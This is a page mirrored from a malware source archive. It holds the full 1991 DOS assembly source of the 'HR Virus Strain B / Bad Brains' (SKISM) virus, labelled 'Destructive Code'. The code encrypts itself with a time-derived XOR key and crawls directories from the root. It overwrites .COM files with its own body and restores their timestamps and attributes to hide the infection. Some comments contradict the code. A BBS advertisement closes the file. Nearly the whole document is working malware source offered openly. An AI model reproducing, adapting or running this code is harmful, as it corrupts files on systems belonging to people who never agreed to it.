mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 04:15:26 +00:00
277 lines
8.8 KiB
NASM
277 lines
8.8 KiB
NASM
; HR Virus Strain B-Compacted
|
||
; Bad Brains
|
||
; Created 8/5/91 by Hellraiser
|
||
; Destructive Code - Beware!
|
||
|
||
fileattr EQU 21
|
||
filetime EQU 22
|
||
filedate EQU 24
|
||
filename EQU 30
|
||
|
||
virus_size EQU 554
|
||
code_start EQU 0100h
|
||
|
||
code segment 'code'
|
||
assume cs:code,ds:code,es:code
|
||
org code_start
|
||
|
||
main proc near
|
||
|
||
jmp virus_start
|
||
|
||
encrypt_val dw 0000h
|
||
|
||
virus_start:
|
||
|
||
call encrypt ;encrypt/decrypt file
|
||
jmp virus ;go to start of code
|
||
|
||
encrypt:
|
||
|
||
push cx
|
||
mov cx,offset virus_code+virus_size
|
||
mov si,offset virus_code ;start encryption at data
|
||
mov di,si
|
||
cld
|
||
|
||
xor_loop:
|
||
|
||
lodsw
|
||
xor ax,encrypt_val ;get encryption key
|
||
stosw
|
||
dec cx
|
||
jcxz stoppa
|
||
jmp xor_loop
|
||
|
||
stoppa:
|
||
|
||
pop cx
|
||
ret
|
||
|
||
infectfile:
|
||
|
||
mov dx,code_start ;where virus starts in memory
|
||
mov bx,handle ;load bx with handle
|
||
mov cx,virus_size ;number of bytes to write
|
||
call encrypt ;encrypt file
|
||
mov ax,4000h ;write to file
|
||
int 21h ;
|
||
call encrypt ;fix up the mess
|
||
ret
|
||
|
||
virus_code:
|
||
|
||
vname db 'SKISM',0
|
||
wildcards db "*",0 ;search for directory argument
|
||
filespec db "*.COM",0 ;search for EXE file argument
|
||
rootdir db "\",0 ;argument for root directory
|
||
dirdata db 43 dup (?) ;holds directory DTA
|
||
filedata db 43 dup (?) ;holds files DTA
|
||
diskdtaseg dw ? ;holds disk dta segment
|
||
diskdtaofs dw ? ;holds disk dta offset
|
||
tempofs dw ?
|
||
tempseg dw ?
|
||
drivecode db ? ;holds drive code
|
||
currentdir db 64 dup (?) ;save current directory into this
|
||
handle dw ? ;holds file handle
|
||
orig_time dw ?
|
||
orig_date dw ?
|
||
orig_attr dw ?
|
||
idbuffer dw 2 dup (?)
|
||
|
||
virus:
|
||
|
||
mov ax,3000h ;get dos version
|
||
int 21h ;
|
||
cmp al,02h ;is it at least 2.00?
|
||
jb bus ;won't infect less than 3.00
|
||
mov ah,2ch ;get time
|
||
int 21h ;
|
||
add dh,cl ;add the two registers
|
||
mov encrypt_val,dx ;save m_seconds to encrypt val so
|
||
;we have up to 65,535 mutations
|
||
|
||
|
||
setdta:
|
||
|
||
mov dx,offset dirdata ;offset of where to hold new dta
|
||
mov ah,1ah ;set dta address
|
||
int 21h ;
|
||
|
||
newdir:
|
||
|
||
mov ah,19h ;get drive code
|
||
int 21h ;
|
||
mov dl,al ;save drivecode
|
||
inc dl ;add one to dl, because functions differ
|
||
mov ah,47h ;get current directory
|
||
mov si, offset currentdir ;buffer to save directory in
|
||
int 21h ;
|
||
|
||
mov dx,offset rootdir ;move dx to change to root directory
|
||
mov ah,3bh ;change directory to root
|
||
int 21h ;
|
||
|
||
scandirs:
|
||
|
||
mov cx,13h ;look for directorys
|
||
mov dx, offset wildcards ;look for '*'
|
||
mov ah,4eh ;find first file
|
||
int 21h ;
|
||
cmp ax,12h ;no first file?
|
||
jne dirloop ;no dirs found? bail out
|
||
|
||
bus:
|
||
jmp abort
|
||
|
||
copyright db 'Bad Brains'
|
||
|
||
dirloop:
|
||
|
||
mov ah,4fh ;find next file
|
||
int 21h ;
|
||
cmp ax,12h
|
||
je quit ;no more dirs found, roll out
|
||
|
||
chdir:
|
||
|
||
mov dx,offset dirdata+filename;point dx to fcb - filename
|
||
mov ah,3bh ;change directory
|
||
int 21h ;
|
||
|
||
mov ah,2fh ;get current dta address
|
||
int 21h ;
|
||
mov [diskdtaseg],es ;save old segment
|
||
mov [diskdtaofs],bx ;save old offset
|
||
mov dx,offset filedata ;offset of where to hold new dta
|
||
mov ah,1ah ;set dta address
|
||
int 21h ;
|
||
|
||
scandir:
|
||
|
||
mov cx,07h ;find any attribute
|
||
mov dx,offset filespec ;point dx to "*.EXE",0
|
||
mov ah,4eh ;find first file function
|
||
int 21h ;
|
||
cmp ax,12h ;was file found?
|
||
jne transform
|
||
|
||
nextexe:
|
||
|
||
mov ah,4fh ;find next file
|
||
int 21h ;
|
||
cmp ax,12h ;none found
|
||
jne transform ;found see what we can do
|
||
|
||
mov dx,offset rootdir ;move dx to change to root directory
|
||
mov ah,3bh ;change directory to root
|
||
int 21h ;
|
||
mov ah,1ah ;set dta address
|
||
mov ds,[diskdtaseg] ;restore old segment
|
||
mov dx,[diskdtaofs] ;restore old offset
|
||
int 21h ;
|
||
jmp dirloop
|
||
|
||
quit:
|
||
|
||
jmp rollout
|
||
|
||
|
||
transform:
|
||
|
||
mov ah,2fh ;temporally store dta
|
||
int 21h ;
|
||
mov [tempseg],es ;save old segment
|
||
mov [tempofs],bx ;save old offset
|
||
mov dx, offset filedata + filename
|
||
|
||
mov bx,offset filedata ;save file...
|
||
mov ax,[bx]+filedate ;date
|
||
mov orig_date,ax ;
|
||
mov ax,[bx]+filetime ;time
|
||
mov orig_time,ax ; and
|
||
mov ax,[bx]+fileattr ;
|
||
mov ax,4300h
|
||
int 21h
|
||
mov orig_attr,cx
|
||
mov ax,4301h ;change attributes
|
||
xor cx,cx ;clear attributes
|
||
int 21h ;
|
||
mov ax,3d00h ;open file - read
|
||
int 21h ;
|
||
jc fixup ;error - find another file
|
||
mov handle,ax ;save handle
|
||
mov ah,3fh ;read from file
|
||
mov bx,handle ;move handle to bx
|
||
mov cx,02h ;read 2 bytes
|
||
mov dx,offset idbuffer ;save to buffer
|
||
int 21h ;
|
||
|
||
mov ah,3eh ;close file for now
|
||
mov bx,handle ;load bx with handle
|
||
int 21h ;
|
||
|
||
mov bx, idbuffer ;fill bx with id string
|
||
cmp bx,03ebh ;infected?
|
||
jne doit ;same - find another file
|
||
|
||
|
||
fixup:
|
||
mov ah,1ah ;set dta address
|
||
mov ds,[tempseg] ;restore old segment
|
||
mov dx,[tempofs] ;restore old offset
|
||
int 21h ;
|
||
jmp nextexe
|
||
|
||
|
||
doit:
|
||
|
||
mov dx, offset filedata + filename
|
||
mov ax,3d02h ;open file read/write access
|
||
int 21h ;
|
||
mov handle,ax ;save handle
|
||
|
||
call infectfile
|
||
|
||
;mov ax,3eh ;close file
|
||
;int 21h
|
||
|
||
rollout:
|
||
|
||
mov ax,5701h ;restore original
|
||
mov bx,handle ;
|
||
mov cx,orig_time ;time and
|
||
mov dx,orig_date ;date
|
||
int 21h ;
|
||
|
||
mov ax,4301h ;restore original attributes
|
||
mov cx,orig_attr
|
||
mov dx,offset filedata + filename
|
||
int 21h
|
||
;mov bx,handle
|
||
;mov ax,3eh ;close file
|
||
;int 21h
|
||
mov ah,3bh ;try to fix this
|
||
mov dx,offset rootdir ;for speed
|
||
int 21h ;
|
||
mov ah,3bh ;change directory
|
||
mov dx,offset currentdir ;back to original
|
||
int 21h ;
|
||
|
||
Abort:
|
||
|
||
mov ax,4c00h ;end program
|
||
int 21h ;
|
||
|
||
|
||
main endp
|
||
code ends
|
||
end main
|
||
|
||
|
||
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>> and Remember Don't Forget to Call <<3C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <<3C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||
|